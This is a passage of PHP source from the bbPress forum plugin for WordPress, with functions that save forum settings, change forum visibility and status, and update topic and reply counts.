 * @param int $forum_id
 * @return If forum ID is empty
 */
function bbp_save_forum_extras( $forum_id = 0 ) {

	// Validate the forum ID
	$forum_id = bbp_get_forum_id( $forum_id );

	// Bail if forum ID is empty
	if ( empty( $forum_id ) || ! bbp_is_forum( $forum_id ) ) {
		return;
	}

	/** Forum Status **********************************************************/

	if ( ! empty( $_POST['bbp_forum_status'] ) && in_array( $_POST['bbp_forum_status'], array( 'open', 'closed' ), true ) ) {
		if ( 'closed' === $_POST['bbp_forum_status'] && ! bbp_is_forum_closed( $forum_id, false ) ) {
			bbp_close_forum( $forum_id );
		} elseif ( 'open' === $_POST['bbp_forum_status'] && bbp_is_forum_open( $forum_id, false ) ) {
			bbp_open_forum( $forum_id );
		} elseif ( 'open' === $_POST['bbp_forum_status'] && bbp_is_forum_closed( $forum_id, false ) ) {
			bbp_open_forum( $forum_id );
		}
	}

	/** Forum Type ************************************************************/

	if ( ! empty( $_POST['bbp_forum_type'] ) && in_array( $_POST['bbp_forum_type'], array( 'forum', 'category' ), true ) ) {
		if ( 'category' === $_POST['bbp_forum_type'] && ! bbp_is_forum_category( $forum_id ) ) {
			bbp_categorize_forum( $forum_id );
		} elseif ( 'forum' === $_POST['bbp_forum_type'] && ! bbp_is_forum_category( $forum_id ) ) {
			bbp_normalize_forum( $forum_id );
		} elseif ( 'forum' === $_POST['bbp_forum_type'] && bbp_is_forum_category( $forum_id ) ) {
			bbp_normalize_forum( $forum_id );
		}
	}

	/** Forum Visibility ******************************************************/

	if ( ! empty( $_POST['bbp_forum_visibility'] ) && in_array( $_POST['bbp_forum_visibility'], array_keys( bbp_get_forum_visibilities() ), true ) ) {

		// Get forums current visibility
		$old_visibility = bbp_get_forum_visibility( $forum_id );

		// Sanitize the new visibility
		$new_visibility = sanitize_key( $_POST['bbp_forum_visibility'] );

		// What is the new forum visibility setting?
		switch ( $new_visibility ) {

			// Hidden
			case bbp_get_hidden_status_id()  :
				bbp_hide_forum( $forum_id, $old_visibility );
				break;

			// Private
			case bbp_get_private_status_id() :
				bbp_privatize_forum( $forum_id, $old_visibility );
				break;

			// Publish (default)
			case bbp_get_public_status_id()  :
			default :
				bbp_publicize_forum( $forum_id, $old_visibility );
				break;
		}

		/**
		 * Allow custom forum visibility save actions
		 *
		 * @since 2.6.0 bbPress (r5855)
		 *
		 * @param int    $forum_id       The forum ID
		 * @param string $old_visibility The current forum visibility
		 * @param string $new_visibility The new forum visibility
		 */
		do_action( 'bbp_update_forum_visibility', $forum_id, $old_visibility, $new_visibility );
	}

	/** Forum Moderators ******************************************************/

	// Either replace terms
	if ( bbp_allow_forum_mods() ) {
		if ( current_user_can( 'assign_moderators' ) && ! empty( $_POST['bbp_moderators'] ) ) {

			// Escape tag input
			$users    = sanitize_text_field( $_POST['bbp_moderators'] );
			$user_ids = bbp_get_user_ids_from_nicenames( $users );

			// Update forum moderators
			if ( ! empty( $user_ids ) ) {

				// Remove all moderators
				bbp_remove_moderator( $forum_id, null );

				// Add moderators
				foreach ( $user_ids as $user_id ) {
					bbp_add_moderator( $forum_id, $user_id );
				}
			}

		// ...or remove them.
		} elseif ( isset( $_POST['bbp_moderators'] ) ) {
			bbp_remove_moderator( $forum_id, null );
		}
	}
}

/** Forum Open/Close **********************************************************/

/**
 * Closes a forum
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id forum id
 * @return mixed False or {@link WP_Error} on failure, forum id on success
 */
function bbp_close_forum( $forum_id = 0 ) {

	$forum_id = bbp_get_forum_id( $forum_id );

	do_action( 'bbp_close_forum',  $forum_id );

	update_post_meta( $forum_id, '_bbp_status', 'closed' );

	do_action( 'bbp_closed_forum', $forum_id );

	return $forum_id;
}

/**
 * Opens a forum
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id forum id
 * @return mixed False or {@link WP_Error} on failure, forum id on success
 */
function bbp_open_forum( $forum_id = 0 ) {

	$forum_id = bbp_get_forum_id( $forum_id );

	do_action( 'bbp_open_forum',   $forum_id );

	update_post_meta( $forum_id, '_bbp_status', 'open' );

	do_action( 'bbp_opened_forum', $forum_id );

	return $forum_id;
}

/** Forum Type ****************************************************************/

/**
 * Make the forum a category
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id Optional. Forum id
 * @return bool False on failure, true on success
 */
function bbp_categorize_forum( $forum_id = 0 ) {

	$forum_id = bbp_get_forum_id( $forum_id );

	do_action( 'bbp_categorize_forum',  $forum_id );

	update_post_meta( $forum_id, '_bbp_forum_type', 'category' );

	do_action( 'bbp_categorized_forum', $forum_id );

	return $forum_id;
}

/**
 * Remove the category status from a forum
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id Optional. Forum id
 * @return bool False on failure, true on success
 */
function bbp_normalize_forum( $forum_id = 0 ) {

	$forum_id = bbp_get_forum_id( $forum_id );

	do_action( 'bbp_normalize_forum',  $forum_id );

	update_post_meta( $forum_id, '_bbp_forum_type', 'forum' );

	do_action( 'bbp_normalized_forum', $forum_id );

	return $forum_id;
}

/** Forum Visibility **********************************************************/

/**
 * Mark the forum as public
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id Optional. Forum id
 * @return bool False on failure, true on success
 */
function bbp_publicize_forum( $forum_id = 0, $current_visibility = '' ) {

	$forum_id = bbp_get_forum_id( $forum_id );

	do_action( 'bbp_publicize_forum',  $forum_id );

	// Get private forums
	$private = bbp_get_private_forum_ids();

	// Find this forum in the array
	if ( in_array( $forum_id, $private, true ) ) {

		$offset = array_search( $forum_id, $private, true );

		// Splice around it
		array_splice( $private, $offset, 1 );

		// Update private forums minus this one
		update_option( '_bbp_private_forums', bbp_get_unique_array_values( $private ) );
	}

	// Get hidden forums
	$hidden = bbp_get_hidden_forum_ids();

	// Find this forum in the array
	if ( in_array( $forum_id, $hidden, true ) ) {

		$offset = array_search( $forum_id, $hidden, true );

		// Splice around it
		array_splice( $hidden, $offset, 1 );

		// Update hidden forums minus this one
		update_option( '_bbp_hidden_forums', bbp_get_unique_array_values( $hidden ) );
	}

	// Only run queries if visibility is changing
	if ( bbp_get_public_status_id() !== $current_visibility ) {
		$bbp_db = bbp_db();
		$bbp_db->update( $bbp_db->posts, array( 'post_status' => bbp_get_public_status_id() ), array( 'ID' => $forum_id ) );
		wp_transition_post_status( bbp_get_public_status_id(), $current_visibility, get_post( $forum_id ) );
		clean_post_cache( $forum_id );
	}

	do_action( 'bbp_publicized_forum', $forum_id );

	return $forum_id;
}

/**
 * Mark the forum as private
 *
 * @since 2.0.0 bbPress (r2746)
 *
 * @param int $forum_id Optional. Forum id
 * @return bool False on failure, true on success
 */
function bbp_privatize_forum( $forum_id = 0, $current_visibility = '' ) {

	$forum_id = bbp_get_forum_id( $forum_id );

	do_action( 'bbp_privatize_forum',  $forum_id );

	// Only run queries if visibility is changing
	if ( bbp_get_private_status_id() !== $current_visibility ) {

		// Get hidden forums
		$hidden = bbp_get_hidden_forum_ids();

		// Find this forum in the array
		if ( in_array( $forum_id, $hidden, true ) ) {

			$offset = array_search( $forum_id, $hidden, true );

			// Splice around it
			array_splice( $hidden, $offset, 1 );

			// Update hidden forums minus this one
			update_option( '_bbp_hidden_forums', bbp_get_unique_array_values( $hidden ) );
		}

		// Add to '_bbp_private_forums' site option
		$private   = bbp_get_private_forum_ids();
		$private[] = $forum_id;
		update_option( '_bbp_private_forums', bbp_get_unique_array_values( $private ) );

		// Update forums visibility setting
		$bbp_db = bbp_db();
		$bbp_db->update( $bbp_db->posts, array( 'post_status' => bbp_get_private_status_id() ), array( 'ID' => $forum_id ) );
		wp_transition_post_status( bbp_get_private_status_id(), $current_visibility, get_post( $forum_id ) );
		clean_post_cache( $forum_id );
	}

	do_action( 'bbp_privatized_forum', $forum_id );

	return $forum_id;
}

/**
 * Mark the forum as hidden
 *
 * @since 2.0.0 bbPress (r2996)
 *
 * @param int $forum_id Optional. Forum id
 * @return bool False on failure, true on success
 */
function bbp_hide_forum( $forum_id = 0, $current_visibility = '' ) {

	$forum_id = bbp_get_forum_id( $forum_id );

	do_action( 'bbp_hide_forum', $forum_id );

	// Only run queries if visibility is changing
	if ( bbp_get_hidden_status_id() !== $current_visibility ) {

		// Get private forums
		$private = bbp_get_private_forum_ids();

		// Find this forum in the array
		if ( in_array( $forum_id, $private, true ) ) {

			$offset = array_search( $forum_id, $private, true );

			// Splice around it
			array_splice( $private, $offset, 1 );

			// Update private forums minus this one
			update_option( '_bbp_private_forums', bbp_get_unique_array_values( $private ) );
		}

		// Add to '_bbp_hidden_forums' site option
		$hidden   = bbp_get_hidden_forum_ids();
		$hidden[] = $forum_id;
		update_option( '_bbp_hidden_forums', bbp_get_unique_array_values( $hidden ) );

		// Update forums visibility setting
		$bbp_db = bbp_db();
		$bbp_db->update( $bbp_db->posts, array( 'post_status' => bbp_get_hidden_status_id() ), array( 'ID' => $forum_id ) );
		wp_transition_post_status( bbp_get_hidden_status_id(), $current_visibility, get_post( $forum_id ) );
		clean_post_cache( $forum_id );
	}

	do_action( 'bbp_hid_forum',  $forum_id );

	return $forum_id;
}

/**
 * Recaches the private and hidden forums
 *
 * @since 2.4.0 bbPress (r5017)
 *
 * @return array An array of the status code and the message
 */
function bbp_repair_forum_visibility() {

	// First, delete everything.
	delete_option( '_bbp_private_forums' );
	delete_option( '_bbp_hidden_forums'  );

	/**
	 * Don't search for both private/hidden statuses. Since 'pre_get_posts' is an
	 * action, it's not removed by suppress_filters. We need to make sure that
	 * we're only searching for the supplied post_status.
	 *
	 * @see https://bbpress.trac.wordpress.org/ticket/2512
	 */
	remove_action( 'pre_get_posts', 'bbp_pre_get_posts_normalize_forum_visibility', 4 );

	// Query for private forums
	$private_forums = new WP_Query( array(
		'fields'         => 'ids',
		'post_type'      => bbp_get_forum_post_type(),
		'post_status'    => bbp_get_private_status_id(),
		'posts_per_page' => -1,

		// Performance
		'nopaging'               => true,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	// Query for hidden forums
	$hidden_forums = new WP_Query( array(
		'fields'           => 'ids',
		'suppress_filters' => true,
		'post_type'        => bbp_get_forum_post_type(),
		'post_status'      => bbp_get_hidden_status_id(),
		'posts_per_page'   => -1,

		// Performance
		'nopaging'               => true,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
		'ignore_sticky_posts'    => true,
		'no_found_rows'          => true
	) );

	// Enable forum visibilty normalization
	add_action( 'pre_get_posts', 'bbp_pre_get_posts_normalize_forum_visibility', 4 );

	// Reset the $post global
	wp_reset_postdata();

	// Private
	if ( ! is_wp_error( $private_forums ) ) {
		update_option( '_bbp_private_forums', $private_forums->posts );
	}

	// Hidden forums
	if ( ! is_wp_error( $hidden_forums ) ) {
		update_option( '_bbp_hidden_forums',  $hidden_forums->posts  );
	}

	// Complete results
	return true;
}

/** Subscriptions *************************************************************/

/**
 * Remove a deleted forum from all user subscriptions
 *
 * @since 2.5.0 bbPress (r5156)
 *
 * @param int $forum_id Get the forum ID to remove
 */
function bbp_remove_forum_from_all_subscriptions( $forum_id = 0 ) {

	// Subscriptions are not active
	if ( ! bbp_is_subscriptions_active() ) {
		return;
	}

	// Bail if no forum
	$forum_id = bbp_get_forum_id( $forum_id );
	if ( empty( $forum_id ) ) {
		return;
	}

	// Remove forum from all subscriptions
	return bbp_remove_object_from_all_users( $forum_id, '_bbp_subscription', 'post' );
}

/** Count Bumpers *************************************************************/

/**
 * Bump the total topic count of a forum
 *
 * @since 2.1.0 bbPress (r3825)
 *
 * @param int $forum_id Optional. Forum id.
 * @param int $difference Optional. Default 1
 * @param bool $update_ancestors Optional. Default true
 *
 * @return int Forum topic count
 */
function bbp_bump_forum_topic_count( $forum_id = 0, $difference = 1, $update_ancestors = true ) {

	// Bail if no bump
	if ( empty( $difference ) ) {
		return false;
	}

	// Get some counts
	$forum_id          = bbp_get_forum_id( $forum_id );
	$topic_count       = bbp_get_forum_topic_count( $forum_id, false, true );
	$total_topic_count = bbp_get_forum_topic_count( $forum_id, true,  true );
	$difference        = (int) $difference;

	// Update this forum id
	update_post_meta( $forum_id, '_bbp_topic_count',       (int) ( $topic_count       + $difference ) );
	update_post_meta( $forum_id, '_bbp_total_topic_count', (int) ( $total_topic_count + $difference ) );

	// Check for ancestors
	if ( true === $update_ancestors ) {

		// Get post ancestors
		$forum     = get_post( $forum_id );
		$ancestors = get_post_ancestors( $forum );

		// If has ancestors, loop through them...
		if ( ! empty( $ancestors ) ) {
			foreach ( (array) $ancestors as $parent_forum_id ) {

				// Only update topic count when an ancestor is not a category.
				if ( ! bbp_is_forum_category( $parent_forum_id ) ) {

					$parent_topic_count = bbp_get_forum_topic_count( $parent_forum_id, false, true );
					update_post_meta( $parent_forum_id, '_bbp_topic_count', (int) ( $parent_topic_count + $difference ) );
				}

				// Update the total topic count.
				$parent_total_topic_count = bbp_get_forum_topic_count( $parent_forum_id, true,  true );
				update_post_meta( $parent_forum_id, '_bbp_total_topic_count', (int) ( $parent_total_topic_count + $difference ) );
			}
		}
	}

	$forum_topic_count = (int) ( $total_topic_count + $difference );

	// Filter & return
	return (int) apply_filters( 'bbp_bump_forum_topic_count', $forum_topic_count, $forum_id, $difference, $update_ancestors );
}

/**
 * Increase the total topic count of a forum by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $forum_id The forum id.
 * @return void
 */
function bbp_increase_forum_topic_count( $forum_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $forum_id ) ) {
		return;
	}

	// If it's a topic, get the forum id.
	if ( bbp_is_topic( $forum_id ) ) {
		$topic_id = $forum_id;
		$forum_id = bbp_get_topic_forum_id( $topic_id );

		// Update inverse based on item status
		if ( ! bbp_is_topic_public( $topic_id ) ) {
			bbp_increase_forum_topic_count_hidden( $forum_id );
			return;
		}
	}

	// Bump up
	bbp_bump_forum_topic_count( $forum_id );
}

/**
 * Decrease the total topic count of a forum by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_decrease_forum_topic_count( $forum_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $forum_id ) ) {
		return;
	}

	// If it's a topic, get the forum id.
	if ( bbp_is_topic( $forum_id ) ) {
		$topic_id = $forum_id;
		$forum_id = bbp_get_topic_forum_id( $topic_id );

		// Update inverse based on item status
		if ( ! bbp_is_topic_public( $topic_id ) ) {
			bbp_decrease_forum_topic_count_hidden( $forum_id );
			return;
		}
	}

	// Bump down
	bbp_bump_forum_topic_count( $forum_id, -1 );
}

/**
 * Bump the total topic count of a forum
 *
 * @since 2.1.0 bbPress (r3825)
 *
 * @param int $forum_id Optional. Forum id.
 * @param int $difference Optional. Default 1
 * @param bool $update_ancestors Optional. Default true
 *
 * @return int Forum topic count
 */
function bbp_bump_forum_topic_count_hidden( $forum_id = 0, $difference = 1, $update_ancestors = true ) {

	// Bail if no bump
	if ( empty( $difference ) ) {
		return false;
	}

	// Get some counts
	$forum_id          = bbp_get_forum_id( $forum_id );
	$reply_count       = bbp_get_forum_topic_count_hidden( $forum_id, false, true );
	$total_topic_count = bbp_get_forum_topic_count_hidden( $forum_id, true,  true );
	$difference        = (int) $difference;

	// Update this forum id
	update_post_meta( $forum_id, '_bbp_topic_count_hidden',       (int) ( $reply_count       + $difference ) );
	update_post_meta( $forum_id, '_bbp_total_topic_count_hidden', (int) ( $total_topic_count + $difference ) );

	// Check for ancestors
	if ( true === $update_ancestors ) {

		// Get post ancestors
		$forum     = get_post( $forum_id );
		$ancestors = get_post_ancestors( $forum );

		// If has ancestors, loop through them...
		if ( ! empty( $ancestors ) ) {
			foreach ( (array) $ancestors as $parent_forum_id ) {

				// Only update topic count when an ancestor is not a category.
				if ( ! bbp_is_forum_category( $parent_forum_id ) ) {

					$parent_topic_count = bbp_get_forum_topic_count_hidden( $parent_forum_id, false, true );
					update_post_meta( $parent_forum_id, '_bbp_topic_count_hidden', (int) ( $parent_topic_count + $difference ) );
				}

				// Update the total topic count.
				$parent_total_topic_count = bbp_get_forum_topic_count_hidden( $parent_forum_id, true, true );
				update_post_meta( $parent_forum_id, '_bbp_total_topic_count_hidden', (int) ( $parent_total_topic_count + $difference ) );
			}
		}
	}

	$forum_topic_count = (int) ( $total_topic_count + $difference );

	// Filter & return
	return (int) apply_filters( 'bbp_bump_forum_topic_count_hidden', $forum_topic_count, $forum_id, $difference, $update_ancestors );
}

/**
 * Increase the total hidden topic count of a forum by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_increase_forum_topic_count_hidden( $forum_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $forum_id ) ) {
		return;
	}

	// If it's a topic, get the forum id.
	if ( bbp_is_topic( $forum_id ) ) {
		$topic_id = $forum_id;
		$forum_id = bbp_get_topic_forum_id( $topic_id );

		// Update inverse based on item status
		if ( bbp_is_topic_public( $topic_id ) ) {
			bbp_increase_forum_topic_count( $forum_id );
			return;
		}
	}

	// Bump up
	bbp_bump_forum_topic_count_hidden( $forum_id );
}

/**
 * Decrease the total hidden topic count of a forum by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_decrease_forum_topic_count_hidden( $forum_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $forum_id ) ) {
		return;
	}

	// If it's a topic, get the forum id.
	if ( bbp_is_topic( $forum_id ) ) {
		$topic_id = $forum_id;
		$forum_id = bbp_get_topic_forum_id( $topic_id );

		// Update inverse based on item status
		if ( bbp_is_topic_public( $topic_id ) ) {
			bbp_decrease_forum_topic_count( $forum_id );
			return;
		}
	}

	// Bump down
	bbp_bump_forum_topic_count_hidden( $forum_id, -1 );
}

/**
 * Bump the total topic count of a forum
 *
 * @since 2.1.0 bbPress (r3825)
 *
 * @param int $forum_id Optional. Forum id.
 * @param int $difference Optional. Default 1
 * @param bool $update_ancestors Optional. Default true
 *
 * @return int Forum topic count
 */
function bbp_bump_forum_reply_count( $forum_id = 0, $difference = 1, $update_ancestors = true ) {

	// Bail if no bump
	if ( empty( $difference ) ) {
		return false;
	}

	// Get some counts
	$forum_id          = bbp_get_forum_id( $forum_id );
	$reply_count       = bbp_get_forum_reply_count( $forum_id, false, true );
	$total_reply_count = bbp_get_forum_reply_count( $forum_id, true,  true );
	$difference        = (int) $difference;

	// Update this forum id
	update_post_meta( $forum_id, '_bbp_reply_count',       (int) ( $reply_count       + $difference ) );
	update_post_meta( $forum_id, '_bbp_total_reply_count', (int) ( $total_reply_count + $difference ) );

	// Check for ancestors
	if ( true === $update_ancestors ) {

		// Get post ancestors
		$forum     = get_post( $forum_id );
		$ancestors = get_post_ancestors( $forum );

		// If has ancestors, loop through them...
		if ( ! empty( $ancestors ) ) {
			foreach ( (array) $ancestors as $parent_forum_id ) {

				// Only update reply count when an ancestor is not a category.
				if ( ! bbp_is_forum_category( $parent_forum_id ) ) {

					$parent_reply_count = bbp_get_forum_reply_count( $parent_forum_id, false, true );
					update_post_meta( $parent_forum_id, '_bbp_reply_count', (int) ( $parent_reply_count + $difference ) );
				}

				// Update the total reply count.
				$parent_total_reply_count = bbp_get_forum_reply_count( $parent_forum_id, true,  true );
				update_post_meta( $parent_forum_id, '_bbp_total_reply_count', (int) ( $parent_total_reply_count + $difference ) );
			}
		}
	}

	$forum_reply_count = (int) ( $total_reply_count + $difference );

	// Filter & return
	return (int) apply_filters( 'bbp_bump_forum_reply_count', $forum_reply_count, $forum_id, $difference, $update_ancestors );
}

/**
 * Bump the total topic count of a forum
 *
 * @since 2.6.0 bbPress (r6922)
 *
 * @param int $forum_id Optional. Forum id.
 * @param int $difference Optional. Default 1
 * @param bool $update_ancestors Optional. Default true
 *
 * @return int Forum topic count
 */
function bbp_bump_forum_reply_count_hidden( $forum_id = 0, $difference = 1, $update_ancestors = true ) {

	// Bail if no bump
	if ( empty( $difference ) ) {
		return false;
	}

	// Get some counts
	$forum_id          = bbp_get_forum_id( $forum_id );
	$reply_count       = bbp_get_forum_reply_count_hidden( $forum_id, false, true );
	$total_reply_count = bbp_get_forum_reply_count_hidden( $forum_id, true,  true );
	$difference        = (int) $difference;

	// Update this forum id
	update_post_meta( $forum_id, '_bbp_reply_count_hidden',       (int) ( $reply_count       + $difference ) );
	update_post_meta( $forum_id, '_bbp_total_reply_count_hidden', (int) ( $total_reply_count + $difference ) );

	// Check for ancestors
	if ( true === $update_ancestors ) {

		// Get post ancestors
		$forum     = get_post( $forum_id );
		$ancestors = get_post_ancestors( $forum );

		// If has ancestors, loop through them...
		if ( ! empty( $ancestors ) ) {
			foreach ( (array) $ancestors as $parent_forum_id ) {

				// Only update reply count when an ancestor is not a category.
				if ( ! bbp_is_forum_category( $parent_forum_id ) ) {

					$parent_reply_count = bbp_get_forum_reply_count_hidden( $parent_forum_id, false, true );
					update_post_meta( $parent_forum_id, '_bbp_reply_count_hidden', (int) ( $parent_reply_count + $difference ) );
				}

				// Update the total reply count.
				$parent_total_reply_count = bbp_get_forum_reply_count_hidden( $parent_forum_id, true,  true );
				update_post_meta( $parent_forum_id, '_bbp_total_reply_count_hidden', (int) ( $parent_total_reply_count + $difference ) );
			}
		}
	}

	$forum_reply_count = (int) ( $total_reply_count + $difference );

	// Filter & return
	return (int) apply_filters( 'bbp_bump_forum_reply_count_hidden', $forum_reply_count, $forum_id, $difference, $update_ancestors );
}

/**
 * Increase the total reply count of a forum by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_increase_forum_reply_count( $forum_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $forum_id ) ) {
		return;
	}

	// If it's a reply, get the forum id.
	if ( bbp_is_reply( $forum_id ) ) {
		$reply_id = $forum_id;
		$forum_id = bbp_get_reply_forum_id( $reply_id );

		// Update inverse based on item status
		if ( ! bbp_is_reply_public( $reply_id ) ) {
			bbp_increase_forum_reply_count_hidden( $forum_id );
			return;
		}
	}

	// Bump up
	bbp_bump_forum_reply_count( $forum_id );
}

/**
 * Decrease the total reply count of a forum by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_decrease_forum_reply_count( $forum_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $forum_id ) ) {
		return;
	}

	// If it's a reply, get the forum id.
	if ( bbp_is_reply( $forum_id ) ) {
		$reply_id = $forum_id;
		$forum_id = bbp_get_reply_forum_id( $reply_id );

		// Update inverse based on item status
		if ( ! bbp_is_reply_public( $reply_id ) ) {
			bbp_decrease_forum_reply_count_hidden( $forum_id );
			return;
		}
	}

	// Bump down
	bbp_bump_forum_reply_count( $forum_id, -1 );
}

/**
 * Increase the total hidden reply count of a forum by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_increase_forum_reply_count_hidden( $forum_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $forum_id ) ) {
		return;
	}

	// If it's a reply, get the forum id.
	if ( bbp_is_reply( $forum_id ) ) {
		$reply_id = $forum_id;
		$forum_id = bbp_get_reply_forum_id( $reply_id );

		// Update inverse based on item status
		if ( bbp_is_reply_public( $reply_id ) ) {
			bbp_increase_forum_reply_count( $forum_id );
			return;
		}
	}

	// Bump up
	bbp_bump_forum_reply_count_hidden( $forum_id );
}

/**
 * Decrease the total hidden reply count of a forum by one.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $forum_id The forum id.
 *
 * @return void
 */
function bbp_decrease_forum_reply_count_hidden( $forum_id = 0 ) {

	// Bail early if no id is passed.
	if ( empty( $forum_id ) ) {
		return;
	}

	// If it's a reply, get the forum id.
	if ( bbp_is_reply( $forum_id ) ) {
		$reply_id = $forum_id;
		$forum_id = bbp_get_reply_forum_id( $reply_id );

		// Update inverse based on item status
		if ( bbp_is_reply_public( $reply_id ) ) {
			bbp_decrease_forum_reply_count( $forum_id );
			return;
		}
	}

	// Bump down
	bbp_bump_forum_reply_count_hidden( $forum_id, -1 );
}

/**
 * Update forum reply counts when a topic is approved or unapproved.
 *
 * @since 2.6.0 bbPress (r6036)
 *
 * @param int $topic_id The topic id.
 *
 * @return void
 */
function bbp_approved_unapproved_topic_update_forum_reply_count( $topic_id = 0 ) {

	// Bail early if we don't have a topic id.
	if ( empty( $topic_id ) ) {
		return;
	}

	// Get the topic's replies.
	$count = bbp_get_public_child_count( $topic_id, bbp_get_reply_post_type() );

	// If we're unapproving, set count to negative.
	if ( 'bbp_unapproved_topic' === current_filter() ) {
		$count = -$count;
	}

	// Bump up or down
	bbp_bump_forum_reply_count( bbp_get_topic_forum_id( $topic_id ), $count );
}

/** Forum Updaters ************************************************************/

/**
 * Update the forum last topic id
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id.
 * @param int $topic_id Optional. Topic id.
 * @return int Id of the forums most recent topic
 */
function bbp_update_forum_last_topic_id( $forum_id = 0, $topic_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	// Define local variable(s)
	$children_last_topic = 0;

	// Do some calculation if not manually set
	if ( empty( $topic_id ) ) {

		// Loop through children and add together forum reply counts
		$children = bbp_forum_query_subforum_ids( $forum_id );
		if ( ! empty( $children ) ) {
			foreach ( $children as $child ) {
				$children_last_topic = bbp_update_forum_last_topic_id( $child ); // Recursive
			}
		}

		// Setup recent topic query vars
		$post_vars = array(
			'post_parent' => $forum_id,
			'post_type'   => bbp_get_topic_post_type(),
			'meta_key'    => '_bbp_last_active_time',
			'meta_type'   => 'DATETIME',
			'orderby'     => 'meta_value',
			'numberposts' => 1
		);

		// Get the most recent topic in this forum_id
		$recent_topic = get_posts( $post_vars );
		if ( ! empty( $recent_topic ) ) {
			$topic_id = $recent_topic[0]->ID;
		}
	}

	// Cast as integer in case of empty or string
	$topic_id            = (int) $topic_id;
	$children_last_topic = (int) $children_last_topic;

	// If child forums have higher id, use that instead
	if ( ! empty( $children ) && ( $children_last_topic > $topic_id ) ) {
		$topic_id = $children_last_topic;
	}

	// Update the last public topic ID
	update_post_meta( $forum_id, '_bbp_last_topic_id', $topic_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_forum_last_topic_id', $topic_id, $forum_id );
}

/**
 * Update the forum last reply id
 *
 * @since 2.0.0 bbPress (r2625)
 *
 * @param int $forum_id Optional. Forum id.
 * @param int $reply_id Optional. Reply id.
 * @return int Id of the forums most recent reply
 */
function bbp_update_forum_last_reply_id( $forum_id = 0, $reply_id = 0 ) {
	$forum_id = bbp_get_forum_id( $forum_id );

	// Define local variable(s)
	$children_last_reply = 0;

	// Do some calculation if not manually set
	if ( empty( $reply_id ) ) {

		// Loop through children and get the most recent reply id
		$children = bbp_forum_query_subforum_ids( $forum_id );
		if ( ! empty( $children ) ) {
			foreach ( $children as $child ) {
				$children_last_reply = bbp_update_forum_last_reply_id( $child ); // Recursive
			}
		}

		// If this forum has topics...
		$topic_ids = bbp_forum_query_topic_ids( $forum_id );
		if ( ! empty( $topic_ids ) ) {

			// ...get the most recent reply from those topics...
			$reply_id = bbp_forum_query_last_reply_id( $forum_id, $topic_ids );

			// ...and compare it to the most recent topic id...
			$reply_id = ( $reply_id > max( $topic_ids ) )
				? $reply_id
				: max( $topic_ids );
		}
	}

	// Cast as integer in case of empty or string
	$reply_id            = (int) $reply_id;
	$children_last_reply = (int) $children_last_reply;

	// If child forums have higher ID, check for newer reply id
	if ( ! empty( $children ) && ( $children_last_reply > $reply_id ) ) {
		$reply_id = $children_last_reply;
	}

	// Update the last public reply ID
	update_post_meta( $forum_id, '_bbp_last_reply_id', $reply_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_forum_last_reply_id', $reply_id, $forum_id );
}

/**
 * Update the forum last active post id
 *
 * @since 2.0.0 bbPress (r2860)
 *
 * @param int $forum_id Optional. Forum id.
 * @param int $active_id Optional. Active post id.
 * @return int Id of the forums last active post
 */
function bbp_update_forum_last_active_id( $forum_id = 0, $active_id = 0 ) {

	$forum_id = bbp_get_forum_id( $forum_id );

	// Define local variable(s)
	$children_last_active = 0;

	// Do some calculation if not manually set
	if ( empty( $active_id ) ) {

		// Loop through children and get the last active ID
		$children = bbp_forum_query_subforum_ids( $forum_id );
		if ( ! empty( $children ) ) {
			foreach ( $children as $child ) {
				$children_last_active = bbp_update_forum_last_active_id( $child, $active_id );
			}
		}

		// Get topic IDs and only accept larger IDs
		$topic_ids = bbp_forum_query_topic_ids( $forum_id );
		if ( ! empty( $topic_ids ) ) {

			// Make sure ID is larger
			$active_id = bbp_forum_query_last_reply_id( $forum_id, $topic_ids );
			$active_id = $active_id > max( $topic_ids )
				? $active_id
				: max( $topic_ids );

		// Forum has no topics
		} else {
			$active_id = 0;
		}
	}

	// Cast as integer in case of empty or string
	$active_id            = (int) $active_id;
	$children_last_active = (int) $children_last_active;

	// If child forums have higher ID, use that instead
	if ( ! empty( $children ) && ( $children_last_active > $active_id ) ) {
		$active_id = $children_last_active;
	}

	update_post_meta( $forum_id, '_bbp_last_active_id', $active_id );

	// Filter & return
	return (int) apply_filters( 'bbp_update_forum_last_active_id', $active_id, $forum_id );
}

/**
 * Update the forums last active date/time (aka freshness)
 *
 * @since 2.0.0 bbPress (r2680)
 *
 * @param int    $forum_id Optional. Topic id.
 * @param string $new_time Optional. New time in mysql format.
 *
 * @return string MySQL timestamp of last active topic or reply
 */
function bbp_update_forum_last_active_time( $forum_id = 0, $new_time = '' ) {
